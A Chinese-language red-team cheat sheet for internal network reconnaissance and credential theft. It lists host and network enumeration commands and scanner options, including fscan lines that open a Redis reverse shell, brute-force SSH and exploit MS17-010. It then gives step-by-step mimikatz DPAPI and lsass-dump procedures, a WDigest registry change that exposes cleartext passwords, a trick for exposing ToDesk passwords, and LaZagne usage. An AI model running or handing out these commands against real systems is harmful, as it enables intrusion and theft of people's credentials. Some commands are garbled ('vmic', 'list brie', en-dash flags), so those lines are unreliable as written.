内网信息收集

一、Windows常用命令

1、CMD信息收集

netstat -ano | findstr TCP                        #查看主机开放端口
tasklist /svc                                     #查看主机运行进程
ipconfig /all                                     #查看当前主机详细网络信息
systeminfo                                        #查看操作系统信息和补丁
arp -a                                            #查看arp缓存
net user                                          #查看所有用户
route print                                       #查看路由信息
schtasks                                          #查看计划任务
query user                                        #查看当前登录账户
net localgroup                                    #查看本地用户组
net accounts                                      #查看密码策略
net share                                         #查看共享
net statistics workstation                        #查看主机开机时间
netsh advfirewall set allprofiles state off/on    #开启和关闭防火墙
netsh advfirewall firewall show rule name=all     #查看防火墙规则
cmdkey /l                                         #查看当前保存的登录凭证
dir %APPDATA%\Microsoft\Windows\Recent            #查看最近打开得到文档
net start                                         #查看当前启动的服务
#搜索后面文件里面的password
findstr /si password  config.*  *.ini *.txt *.properties
#信息收集ping
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL="

2、wmic信息收集

wmic product list brie                            #查看当前主机详细网络信息
wmic service list brief                           #查看系统运行的服务
wmic process list brief                           #查看运行中的程序
wmic startup list brief                           #查看开机启动
wmic useraccount list brief                       #搜索用户账户
wmic qfe list brief                               #获取系统补丁
# 查看本机杀软
vmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

3、Windows下的一键信息收集

getsysteminfo.bat                                 #批处理文件获取系统信息
getuserpass.bat                                   #批处理文件获取账号密码
wmic_info.bat                                     #批处理获取系统信息生成表格

注意:批处理下的变量使用两个百分号%%i
Dos下的变量使用一个百分号 %i

二、linux常用命令

1、linux信息收集

ifconfig                                          #查看当前主机详细网络信息
uname -a                                          #查看操作系统信息主机名、系统名和内核
cat /etc/issue                                    #查看系统名称
whoami                                            #查看当前用户
cat /etc/passwd                                   #查看当前用户权限 
env                                               #查看环境变量
history                                           #查看历史命令
pwd                                               #查看当前路径
arp -a                                            #查看arp缓存
ps -aux                                           #查看有哪些进程
netstat –anpt                                     #查看开放的端口
route                                             #查看路由信息
ls -la /etc/cron*                                 #查看所有计划任务和配置文件
crontab –l                                        #查看计划任务
cat /etc/crontab                                  #查看计划任务
cat /etc/resolv.conf                              #查看dns服务信息
dpkg –l                                           #查看安装了哪些包
who                                               #查看登录用户
lastlog                                           #查看登录日志
#查看xml文件中的password
find . -name ‘*.xml’ -exec grep -i ‘password’ {} \; -print
#查看敏感文件
find / -type f -iname “*.bash_history” -o -iname “*config*” -o -iname “web.xml” -o -iname “*database*” -o -iname “*pass*” 2>/dev/null

三、内网信息收集工具

1、nmap

-sS          #半开放扫描。Nmap发送SYN包到远程主机,它不会产生任何会话.不需要通过完整的握手,就能获得远程主机的信息。因此不会在目标主机上产生任何日志记录,使用最频繁,安全,快
-sT          #TCP connect扫描,需要完成三次握手,只适用于找出TCP和UDP端口
-O           #检测操作系统、开放端口等等
-sA          #用来穿过防火墙的规则集,检测哪些端口被屏蔽,速度慢。
-sV          #扫描端口开放的服务及版本           
-v           #显示扫描的进程详细信息
-Pn          #扫描之前不使用ping,适用于防火墙禁止ping
-A           #包含了-sV,-O,全面系统检测        
-T           #0-5 扫描速度,5位最高
-p           #指定扫描端口                                         
-sP          #ping扫描(不进行端口扫描)
-sU          #UDP扫描,慢,可得到有价值的服务器程序
-iL         #扫描一个列表文件
-oN          #输出结果
--open       #只显示开启的端口
-F           #快速扫描,减少端口
-sC          #根据端口识别的服务,调用默认脚本

2、Masscan

-p <ports,--ports <ports>>                        #指定端口进行扫描
--banners                                         #获取banner信息,支持少量的协议
--rate <packets-per-second>                       #指定发包的速率
-c <filename>, --conf <filename>                  #读取配置文件进行扫描
--echo                                            #将当前的配置重定向到一个配置文件中
-e <ifname> , --adapter <ifname>                  #指定用来发包的网卡接口名称
--adapter-ip <ip-address>                         #指定发包的IP地址
--adapter-port <port>                             #指定发包的源端口
--adapter-mac <mac-address>                       #指定发包的源MAC地址
--router-mac <mac address>                        #指定网关的MAC地址
--exclude <ip/range>                              #IP地址范围黑名单,防止masscan扫描
--excludefile <filename>                          #指定IP地址范围黑名单文件
--includefile,-iL <filename>                     #读取一个范围列表进行扫描
--ping                                            #扫描应该包含ICMP回应请求
--append-output                                   #以附加的形式输出到文件
--iflist                                          #列出可用的网络接口,然后退出
--retries                                         #发送重试的次数,以1秒为间隔

3、Fscan

fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径) 
fscan.exe -h 192.168.1.1/8  (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt  (以文件导入)

四、内网凭证获取

1、DPAPI及它的两个API函数

  • 从Windows 2000开始,Microsoft随操作系统一起提供了一种特殊的数据保护接口,称为Data Protection Application Programming Interface(DPAPI)。如果需要对某些数据进行加密或加密需要DPAPI提供的加密解密函数
  • 对服务器密码(rdp凭证)的解密也需要用到Masterkey

2、DPAPI的作用范围

  • IE、Chrome的登录表单自动完成
  • Powershell加密函数
  • Outlook, Windows Mail, Windows Mail, 等邮箱客户端的用户密码。
  • FTP管理账户密码
  • 共享资源文件夹的访问密码
  • 无线网络帐户密钥和密码
  • 远程桌面身份凭证
  • EFS
  • EAP/TLS 和 802.1x的身份凭证
  • Credential Manager中的数据
  • 以及各种调用了CryptProtectData函数加密数据的第三方应用,如Skype, Windows Rights Management Services, Windows Media, MSN messenger, Google Talk等。
  • etc

3、Master Key/Master Key Files

  • 存放密钥的文件则被称之为Master Key Files,其路径一般为:
%APPDATA%/Microsoft/Protect/当前登录用户的SID
  • 但是Master Key Files中存储的不是直接的密钥,而是将Master Key进行加密(随机64位字节码经过用户密码等信息)所存放的内容
  • Master Key和Master Key Files之间的关系其实就是, Master Key经过用户密码等信息加密后的内容才变成了Master Key Files中存储的内容

4、获取Master Key

  • 注入lsass进程,从内存中读取Master Key,也可以dump lsass进程离线读
  • 从注册表中获取(HKLM\SYSTEM、HKLM\SECURITY)

5、Windows RDP凭证获取

mimikatz解密

1、 获取guid rdp 凭证路径%userprofile%\AppData\Local\Microsoft\Credentials* 2、对应guid获取master key 3、利用master key 进行解密

guidMasterKey

每个用Master Key来进行加密的凭证信息,都是根据一个结构来进行生成的,而每个guidMasterKey就是对每个Master Key Files文件的标识符

#查看mstsc的连接记录 管理员权限可以获取所有用户的key
Cmdkey /list 
#Sid 获取
whoami /user 
#查看session id
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*  
#提升权限
mimikatz.exe "privilege::debug" 
#查看guidmasterkey
dpapi::cred /in:C:\Users\{username}\AppData\Local\Microsoft\Credentials\{sessionid}
#对应guid 查看masterkey
mimikatz.exe sekurlsa::dpapi
#对密码文件进行解密
mimikatz.exe "dpapi::cred /in:C:\Users\{username}\appdata\local\microsoft\credentials\{session id} /masterkey:{masterkey}"

自动获取工具:https://github.com/GhostPack/SharpDPAPI
优势:使用can脚本自动读取masterkey guid 来解密密码,使用c#可以内存加载不落地执行

图形化工具Netpass:
https://www.nirsoft.net/utils/network_password_recovery.html
Windows server 2008明文密码获取
Mimikatz的使用 获取明文密码 
mimikatz.exe "privilege::debug" 
mimikatz.exe sekurlsa::logonpasswords
Windows server 2012明文密码获取
1、修改注册表
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1
2、锁屏或者退出账号
%windir%\System32\rundll32.exe user32.dll,LockWorkStation (需要system权限)
3、等待目标系统管理员重新登录
4、读取密码
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
Mimikatz.exe sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
Xshell和xftp密码获取
1、在线解密  SharpDecryptPwd
https://github.com/uknowsec/SharpDecryptPwd
Usage: SharpDecryptPwd.exe -NavicatCrypto
       SharpDecryptPwd.exe -TeamViewer
       SharpDecryptPwd.exe -FileZilla
       SharpDecryptPwd.exe -WinSCP
       SharpDecryptPwd.exe -Xmangager -p Session_Path –s sid

2、离线解密 how-does-Xmanager-encrypt-password
地址:https://github.com/HyperSine/how-does-Xmanager-encrypt-password

注意:xshell6.0以上要做sid认证 使用whoami /user 查看后sid进行离线解密,这里有个坑,安装pycryptodome记得修改\Lib\site-packages下的crypto把c改成大写不然会报没有这个库。
Todesk 凭证获取

从C:\Program Files (x86)\ToDesk\userInfo.json中获取USERID和PassEx,替换C:\Program Files (x86)\ToDesk\config.ini中的tempAuthPassEx,重新打开todesk就可以看到对方明文密码。

Firefox

https://github.com/unode/firefox_decrypt

综合利用工具LaZagne:
https://github.com/AlessandroZ/LaZagne
laZagne.exe all
laZagne.exe browsers
laZagne.exe browsers -firefox